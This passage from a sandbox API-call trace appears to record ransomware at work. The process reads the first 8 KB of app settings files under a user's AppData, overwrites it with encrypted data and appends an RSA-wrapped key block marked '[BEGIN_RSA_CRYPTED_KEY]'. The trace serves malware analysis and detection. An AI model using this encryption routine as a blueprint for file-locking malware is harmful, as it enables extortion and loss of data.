lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.721] SetFilePointer (in: hFile=0xc68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.721] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.721] WriteFile (in: hFile=0xc68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.723] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.723] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.723] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.724] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eEDokr6uHSuJlosaPIb9l5RX0o6UF1+UQFcq7RxWJfLGVSQZ84oES44mdkyAGfFX\nolOm8Q5yTe67w1mqylH5RPFD1zymMQSlBGKiGIGmuC+litENyjmzFyG0ezgn1bdg\n7tUD2ZW+QEVpfpHUh2T29T6Sa4JXnaEBRkURQsYO6LyZEc1YNDDuVRiHxN3fNqwt\n+uYFSpnm6WhXBtITZOKNVYbQIizLECDphbZpDeAOfL6xBbVuS7/SMK0mQSt0LLEf\nTsY2SDAB8AqymiImzOxrg7UGGHpWvw9825QdP96fcryH/w5gwFInFiVieNEWql/e\nV1RMjjjdxaY52s8riWUJZQ==\n", pcchString=0x2e3f9a8) returned 1 [0195.724] WriteFile (in: hFile=0xc68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.725] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.725] WriteFile (in: hFile=0xc68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.725] CloseHandle (hObject=0xc68) returned 1 [0195.750] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.750] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0195.760] ReadFile (in: hFile=0xc68, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.772] SetFilePointer (in: hFile=0xc68, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.772] WriteFile (in: hFile=0xc68, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.772] SetFilePointer (in: hFile=0xc68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.773] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.773] WriteFile (in: hFile=0xc68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.773] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.773] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.773] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.774] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vr4bugSBYVW+cdU4l86AYsDpewShubmWXVn30W1EpC3+gA16YF6c3ntKZ/sH1Yda\npme17WxLql/XYIOxra40aEjs6zNbo+/Nsg2b+2jeyWuxss196j+G3fFmSIWmkfpI\n4EWFzIKwvHEHAr/CNG2ywSBnn8rRu/GZ8b4+jCQDY3kwGcbUFV5ZCc56UjlcNjy1\nJ8mg/vNYUfTpGW1kyFUdZd+M48Swr7wVWoV85pf/J9/aDwt45jqcHGgFulo/qZpJ\n+UQDamV81QXAqTWHBfF1lMf7xQ+Pv/rNaa2Uk7SReKHyHWxwmOAeolrEPPMcBINh\nGDJpKP2Zb2XbjRU1Em6KBA==\n", pcchString=0x2e3f9a8) returned 1 [0195.774] WriteFile (in: hFile=0xc68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.774] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.774] WriteFile (in: hFile=0xc68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.774] CloseHandle (hObject=0xc68) returned 1 [0195.776] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.776] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0195.777] ReadFile (in: hFile=0xc68, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.809] SetFilePointer (in: hFile=0xc68, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.809] WriteFile (in: hFile=0xc68, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.810] SetFilePointer (in: hFile=0xc68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.810] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.810] WriteFile (in: hFile=0xc68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.811] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.811] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.811] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.811] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="onMYjkDu/lPdeuJnZ/7lkYJ+N7qA6qz92SPZdbkh775LtefaWAkLu4jc6k9wWL0T\nKMOejS3ZuB3F5qs+6n/jC4xvOqKg5/waxMebZK/Cejeatn8/v+0BnneuxZS265My\nK31UOm+KWQ4zmVlOBJLTg+OTCjC8W6SYCkagXK/9nX/C1e6hj9h5kXqYA9QAKUug\nvPhp3ReCYMU+up3TGk1zmBk42WbjgKTaX7rpqSkqQhBdOfWFKN41XB+Sfm8vAJcR\nHwcPTXG+8tXZl6n64f0EF3W3FX8fICvQGXOqYRwv8tOSfQ4sVzmd8Gdjm2bYfgHM\n9WPNuLS/Kt23Nd1CmSTqPQ==\n", pcchString=0x2e3f9a8) returned 1 [0195.811] WriteFile (in: hFile=0xc68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.811] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.811] WriteFile (in: hFile=0xc68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.812] CloseHandle (hObject=0xc68) returned 1 [0195.816] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.816] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0195.817] ReadFile (in: hFile=0xc68, lpBuffer=0x59d240, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.817] SetFilePointer (in: hFile=0xc68, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.817] WriteFile (in: hFile=0xc68, lpBuffer=0x59d390*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.817] SetFilePointer (in: hFile=0xc68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.817] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.817] WriteFile (in: hFile=0xc68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.819] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.819] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.819] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.819] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="XStZEZdfX4neHL/WonWTq6NdAg+XI48+iJaaQ+BkHmyjHqycZkNflCuZfBedupOq\nJFck57pvhaz0Ie1JkxXC6Yl/smw4pMwlF1jLC+s0u7n+pAoD86B7JGOx2EHOdtO0\n2k0J8cDC7n4BXyFNfAthQwPpREkdgnlDnjYurOt5cwN3X0HhhCtzi76Pa4H6Xo/s\nHBMD21rL+mU+t2qPk0yzFqrFSynxodMyentk+uMARe7KLuvXGYUccbr41fZDJjDk\njOglsvEV32AkjUJwypkU5NOjyrCG6q3HRC/n179w52UNbxcPv6GuCcI7PrxxDHPY\ntmm35nmDkS2AxuNkJBeiFw==\n", pcchString=0x2e3f9a8) returned 1 [0195.819] WriteFile (in: hFile=0xc68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.819] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.819] WriteFile (in: hFile=0xc68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.820] CloseHandle (hObject=0xc68) returned 1 [0195.823] WriteFile (in: hFile=0xc74, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.824] CloseHandle (hObject=0xc74) returned 1 [0195.826] WriteFile (in: hFile=0xc74, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.827] CloseHandle (hObject=0xc74) returned 1 [0195.827] WriteFile (in: hFile=0xc74, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.828] CloseHandle (hObject=0xc74) returned 1 [0195.828] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.828] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0195.837] ReadFile (in: hFile=0xc88, lpBuffer=0x59d290, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d290*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.837] SetFilePointer (in: hFile=0xc88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.837] WriteFile (in: hFile=0xc88, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.837] SetFilePointer (in: hFile=0xc88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.837] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.837] WriteFile (in: hFile=0xc88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.838] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.838] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.839] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.839] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gPxGw2plGXn+aVawk50CkUQ5R1NwN0zeH756do9JyNPKSqZIooYmUByKylcQ78aQ\nLzS/g+RTUYavFD4yOUfIaFaOPahi6Jnf05HlJNLFm8WSOEglmfuK/DPA9/1lUR8Y\nvGJn00xbIFa1cK947oaFIvSxciEWP14k9W2G9uKuy4PQiMtEH7sSkOsoaNEsusZY\nxNMPb6ptsRiTfBLvgJVftzWR34bzu2gg2LLgBB/EHE5ZDS4Cfc7liv0QEh7QKxEI\nb0+BG3EwTeT9lK/PVLMSC/J+1dBa2LcBcHA4Nl1EUBqkrtg9PvPLkrONdPPUQs4F\n8SDFNKrOhkKrQS7KyWWCWA==\n", pcchString=0x2e3f9a8) returned 1 [0195.839] WriteFile (in: hFile=0xc88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.839] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.839] WriteFile (in: hFile=0xc88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.840] CloseHandle (hObject=0xc88) returned 1 [0195.842] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.842] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0195.843] ReadFile (in: hFile=0xc88, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.884] SetFilePointer (in: hFile=0xc88, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.885] WriteFile (in: hFile=0xc88, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.885] SetFilePointer (in: hFile=0xc88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.885] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.885] WriteFile (in: hFile=0xc88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.886] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.886] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.887] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.887] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OQ9cHuv6otCWL7ZSITauI3jabYhs/X30gskkLEGR1iXk+lO/Roo8ssEEi3IkR69P\nwYTFbfr/7Vw/p+teg/kGdy9Bb7P36ee0mXQyVrBkLEU1r6s5xL7EQN3LrzNjanyP\nOiIQ4jox8gqonamHkB3NOFiHoO24t1v64nE5PKO6RuNFe+OuiPK9irCHDlMtRs7e\nj/K+enos+Fu2Yah3y4h8wCUOwkzqfjabRzuVfahPgOhiNyERqZB3nYVuBu40Ejko\nh++KRSaMYbHrr3qRgZnK4D+i6aT+ERvc7spwMB08shKpP0z7MIMU0W+wC4Q1LVGL\nBXxlaPnJne5/RIkxHAw+UQ==\n", pcchString=0x2e3f9a8) returned 1 [0195.887] WriteFile (in: hFile=0xc88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.887] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.887] WriteFile (in: hFile=0xc88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.887] CloseHandle (hObject=0xc88) returned 1 [0195.890] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.890] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0195.891] ReadFile (in: hFile=0xc88, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.932] SetFilePointer (in: hFile=0xc88, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.932] WriteFile (in: hFile=0xc88, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.933] SetFilePointer (in: hFile=0xc88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.933] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.933] WriteFile (in: hFile=0xc88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.934] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.934] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.934] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.934] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2eAju1h7aovJoX0Q0JMBnJw8o9wNEYcStMLRfN+O5FZqow1jQYYp0Qyc9focpzDC\nppcNLxyZVnPKgHtCAjTmi5nd/X7XZeajwD6b33lGJ2adkwuoggEAvCr8JEwMg9HY\n44/fRzB36Ojrf1dzskCOxxn1hJSr7Qbpk1gnHI7DO95Lnaw0NKT9AoJLqjjgIJwo\narhyVYVpztUY95gzakc8ZgfZv8gDru628UvsdMj9Ht2rGkqjdEFVFClQ4HcFd0Ey\nbQEIxggFMku/bni9SpLFpt8gtAV/B9mj2+dEQI4o9vgZi4dqDpT+CxFQjS885sF0\n27nFzExSyno4T3YQTgW3DA==\n", pcchString=0x2e3f9a8) returned 1 [0195.934] WriteFile (in: hFile=0xc88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.935] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.935] WriteFile (in: hFile=0xc88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.935] CloseHandle (hObject=0xc88) returned 1 [0195.948] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.948] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0195.949] ReadFile (in: 